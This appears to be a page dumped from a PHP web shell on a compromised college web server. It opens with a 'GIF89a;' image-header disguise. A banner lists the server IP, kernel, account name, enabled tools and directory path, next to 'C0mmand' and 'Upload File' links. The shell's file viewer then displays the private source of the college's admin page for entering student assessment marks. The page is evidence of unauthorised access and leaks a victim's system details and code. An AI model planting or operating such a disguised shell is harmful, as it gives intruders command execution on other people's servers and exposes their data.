GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.135.194.138 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../cas/application/views/admin/academics/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Feed Assessment Marks | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>"> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&display=swap"> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/bootstrap-select.min.css"); ?>" type='text/css'> <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>"> <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/bootstrap-popper.min.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/bootstrap-select.min.js"); ?>"></script> <script> var csrfHash = ''; </script> </head> <body> <div class="se-pre-con"></div> <section> <?php $this->load->view("admin/navAndHeader"); ?> <div class="main-content"> <div class="container-fluid content-top-gap"> <nav aria-label="breadcrumb"> <ol class="breadcrumb my-breadcrumb"> <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li> <li class="breadcrumb-item active" aria-current="page">Academics</li> <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/Assessment/feedTestMarks"); ?>">Feed Student Assessment Marks</a></li> </ol> </nav> <section class="forms"> <div class="card card_border py-2 mb-2"> <div class="cards__heading"> <h3><i class="fa fa-plus"></i> Feed Student Assessment Marks</h3> </div> <div class="card-body"> <div class="form-row md-2"> <div class="col-md-2"> <button class="btn btn-sm btn-primary" onClick="window.location.href = '<?php echo site_url("admin/Assessment/viewStudentTestMarks"); ?>'" tooltip="View Student Marks"><i class="fa fa-eye"></i> View Student Assessment Marks</button><br> </div> <div class="col-md-2"> <button class="btn btn-sm btn-primary" onClick="window.location.href = '<?php echo site_url("admin/Assessment/editStudentMarks"); ?>'" tooltip="Edit Student Marks"><i class="fa fa-edit"></i> Edit Student Assessment Marks</button><br> </div> </div> <?php if (validation_errors() != false) { ?> <div class="alert alert-danger"> <strong><?php echo validation_errors(); ?></strong> </div> <?php } ?> <?php if ($this->session->flashdata('successMessage')) { ?> <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?> </strong> </div> <?php } ?> <?php if ($this->session->flashdata('errorMessage')) { ?> <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div> <?php } ?> <?php echo form_open(site_url('admin/Assessment/feedTestMarks'), ['name' => 'saveNewTestMarksFrm', 'id' => 'saveNewTestMarksFrm', 'onsubmit' => 'myFunction()']); ?> <fieldset> <legend>Session , Subject & Assessment Info. </legend> <div class="form-row"> <div class="form-group col-md-3"> <label for="session" class="input__label">Session *</label> <select id="session" name="session" class="custom-select"> <option value="">Select Session</option> <?php foreach ($sessions as $session) { ?> <option <?php if ($session->session_status == "C") { echo "selected"; } ?> value="<?php echo $session->session_id; ?>" <?php echo set_select("session", $session->session_id); ?>><?php echo stripslashes($session->session_name); ?></option> <?php } ?> </select> </div> <div class="form-group col-md-3"> <label for="subject" class="input__label">Subject *</label> <select id="subject" name="subject" class="custom-select"> <option value="">Select Subject</option> <?php foreach ($subjects as $subject) { ?> <option value="<?php echo $subject->sta_id; ?>" <?php echo set_select("subject", $subject->sta_id); ?>><?php echo stripslashes($subject->sm_code) . "-" . stripslashes($subject->sm_name) . "-" . stripslashes($subject->sta_id); ?></option> <?php } ?> </select> </div> <div class="form-group col-md-3"> <label class="input__label required" for="test_name">Assessment *</label> <select name="test_name" id="test_name" class="custom-select"> <option <?php echo set_select("test_name", ""); ?> value="">Select Assessment</option> </select> </div> <div class="form-group col-md-3 mt-4"> <label for="filterTestBtn" class="input__label"></label> <button id="filterTestBtn" name="filterTestBtn" type="submit" class="btn btn-sm btn-warning pull-right">Apply Filter & Fetch Student-Assessment Data <i class="fa fa-filter"></i><i class="fa fa-arrow-right"></i></button> </div> </div> <span id="spanError" style="color:red;"> </span> </fieldset> <?php if (sizeof($question) > 0) { ?> <fieldset id="studentList" style="display: block;"> <legend>Student(s) List</legend> <div class="form-row"> <table style="width:100%" class="table table-warning"> <tr> <th><input type="checkbox" name="selectAllfeed" id="selectAllfeed" class="student">Select All</th> <th>Sr. No</th> <th>Roll No.</th> <th>Name</th> <th><input type="radio" id="selectAllPresent" name="selectAll" value="presnt" checked="true"> Present</th> <th> <input type="radio" id="selectAllAbsent" name="selectAll" value="absent"> Absent</th> <?php foreach ($question as $ques) { ?> <th style="text-align:center">Q<?php echo $ques->qno_name ?></th> <?php } ?> </tr> <tbody id="studentDetails"> <?php for ($i = 0; $i < sizeof($studentAllottedData); $i++) { $record = $studentAllottedData[$i]; ?> <tr class="rowData" id="<?php echo $i + 1; ?>"> <td><input type="checkbox" name="<?php echo "box" . $record->tspi_rollNumber; ?>" id="<?php echo "sel" . $i; ?>" class="student" value="<?php echo $record->tspi_rollNumber; ?>"></td> <td><?php echo $i + 1; ?></td> <td><?php echo $record->tspi_rollNumber; ?></td> <td><?php echo $record->tspi_name; ?></td> <td><input class='present disableControl' type='radio' name='<?php echo $record->tspi_rollNumber; ?>' value='P'> Present </td> <td><input class='absent disableControl' type='radio' name='<?php echo $record->tspi_rollNumber; ?>' value='A'>Absent</td> <?php for ($j = 0; $j < sizeof($question); $j++) { $qus = $question[$j]; ?> <td><input class="obtained disableControl absentMarks ROabsentMarks" type="text" name="<?php echo "obt" . $i . $j ?>" id="<?php echo "obt" . $i . $j ?>" placeholder="mm-<?php echo $question[$j]->qno_marks; ?>" style="width:50px;font-size: 13px;height: 32px;" onkeypress="return event.charCode >= 46 && event.charCode <= 57" oncopy="return false" oncut="return false" onpaste="return false" autocomplete="off" maxlength="4"> <input type="hidden" name="<?php echo "mm" . $i . $j ?>" id="<?php echo "mm" . $i . $j ?>" value="<?php echo $qus->qno_marks; ?>" style="width:50px;font-size: 13px;height: 32px;" onkeypress="return event.charCode >= 46 && event.charCode <= 57" onkeyup="this.value = minmax(this.value, '', <?php echo $qus->qno_marks; ?>)" ></td> <?php } ?> </tr> <?php } ?> </tbody> </table> </div> </fieldset> <span id="spnErr" style="color:#FF0000;font-size:15px;font-weight: bolder;"></span> <input type="hidden" name="stuCount" id="stuCount"> <button name="allotBtn" id="allotBtn" type="button" class="btn btn-primary btn-block btn-style mt-4" value="allotBtn">Save Assessment Marks</button> <?php } ?> <?php echo form_close(); ?> </div> </div> </section> </div> </div> </section> <script> $("#subject").on("change", function () { $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } if ($(this).val().trim() !== "") { $.ajax({ url: '<?php echo site_url("admin/Assessment/getTestsBySubjectTeacherAllotmentForDropdown") ?>', data: {sta_id: $(this).val(), test_id: '<?php //echo $selectedTest; ?>', csrf_token: csrfHash}, type: 'POST', success: function (result) { var testInfo = JSON.parse(result); $(".se-pre-con").fadeOut("slow"); $("#test_name").html(testInfo.test_list); csrfHash = testInfo.csrfHash; saveNewTestMarksFrm.csrf_token.value = csrfHash; } }); } else { $("#test_name").html("<option value=''>Select Assessment</option>"); $(".se-pre-con").fadeOut("slow"); } }); $(document).ready(function () { if ($("#subject").val() !== "") { $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } $.ajax({ url: '<?php echo site_url("admin/Assessment/getTestsBySubjectTeacherAllotmentForDropdown") ?>', data: {sta_id: $("#subject").val(), test_id: '<?php echo $selectedTest; ?>', csrf_token: csrfHash}, type: 'POST', success: function (result) { var testInfo = JSON.parse(result); $(".se-pre-con").fadeOut("slow"); $("#test_name").html(testInfo.test_list); csrfHash = testInfo.csrfHash; saveNewTestMarksFrm.csrf_token.value = csrfHash; } }); } }); $("#filterTestBtn").on("click", function () { if ($("#subject").val() === "" || $("#subject").val() === null) { $("#spnErr").html("Please Select Any Subject To Proceed."); $("#studentList").css("display", "none"); event.preventDefault(); $("#subject").focus(); } else if ($("#test_name").val() === "" || $("#test_name").val() === null) { $("#spnErr").html("Please Select Any Assessment To Proceed."); $("#studentList").css("display", "none"); event.preventDefault(); $("#test_name").focus(); } else { $("#spnErr").html(""); $("#saveNewTestMarksFrm").submit(); } }); </script> <script> $(document).ready(function () { $(".present").prop('checked', true); $(".disableControl").prop("disabled", "disbaled"); }); $(".student").on("click", function () { var id = "#" + $(this).closest("tr").attr("id"); if ($(this).prop("checked") === true) { $(id).find(".disableControl").prop("disabled", ""); } else { $(id).find(".disableControl").prop("disabled", "disbaled"); } }); $(".absent").on("click", function () { var id = "#" + $(this).closest("tr").attr("id"); if ($(this).prop("checked") === true) { $(id).find(".absentMarks").val(0); $(id).find(".ROabsentMarks").prop("readonly", "readonly"); } }); $(".present").on("click", function () { var id = "#" + $(this).closest("tr").attr("id"); if ($(this).prop("checked") === true) { $(id).find(".absentMarks").val(""); $(id).find(".ROabsentMarks").prop("readonly", ""); } }); $("#selectAllPresent").click(function () { $(".present").prop('checked', $(this).prop('checked')); $(".absentMarks").val(""); $(".absentMarks").prop('readonly', ''); }); $("#selectAllAbsent").on('click', function () { $(".absent ").prop('checked', $(this).prop('checked')); $(".absentMarks").val(0); $(".absentMarks").prop('readonly', 'readonly'); }); $("#selectAllfeed").click(function () { $(".student").prop('checked', $(this).prop('checked')); if ($(this).prop("checked") === true) { $(".disableControl").prop("disabled", ""); } else { $(".disableControl").prop("disabled", "disbaled"); } }); </script> <script> var questionCount = '<?php echo sizeof($question); ?>'; var studentCount = '<?php echo sizeof($studentAllottedData); ?>'; $("#allotBtn").on("click", function () { if ($("#subject").val() === "" || $("#subject").val() === null) { $("#spnErr").html("Please Select Any Subject To Proceed."); $("#studentList").css("display", "none"); event.preventDefault(); $("#subject").focus(); } else { $(".se-pre-con").fadeIn("slow"); for (var i = 0; i < studentCount; i++) { var isCheckboxSelected = $("#sel" + i).prop("checked"); if (isCheckboxSelected == true) { if (myFunction()) { $(".se-pre-con").fadeOut("slow"); break; } else { $(this).prop("type", "submit"); $("#saveNewTestMarksFrm").submit(); break; } } } } $(".se-pre-con").fadeOut("slow"); }); var count = 0; var emptyCount = 0; function myFunction() { $(".obtained").css("outline", "0px solid red"); $("#spanError").html(""); var obtainedValue = ""; var hiddenValue = ""; var checkValue = ""; for (var i = 0; i < studentCount; i++) { var isCheckboxSelected = $("#sel" + i).prop("checked"); if (isCheckboxSelected == true) { for (var j = 0; j < questionCount; j++) { var hidden = "mm" + i + j; var obtained = "obt" + i + j; var hiddenValue = parseInt($("#" + hidden).val()); var obtainedValue = parseFloat($("#" + obtained).val()); if (isNaN(obtainedValue)) { emptyCount++; break; } else { if ((obtainedValue > hiddenValue)) { count++; break; } } } if (count > 0) { break; } if (emptyCount > 0) { break } } else { continue; } } if (emptyCount > 0) { $("#" + obtained).focus(); $("#" + obtained).css("outline", "2px solid red"); $("#spanError").html("Please Fill All The Obtained Marks."); emptyCount = 0; return true; } else { if (count > 0) { $("#" + obtained).focus(); $("#" + obtained).css("outline", "2px solid red"); $("#spanError").html("Obtained Marks Is Greater Than Maximum Marks."); count = 0; return true; } else { return false; } } } //$(".se-pre-con").fadeOut("slow"); </script> <?php $this->load->view("admin/footer"); ?> </body> </html>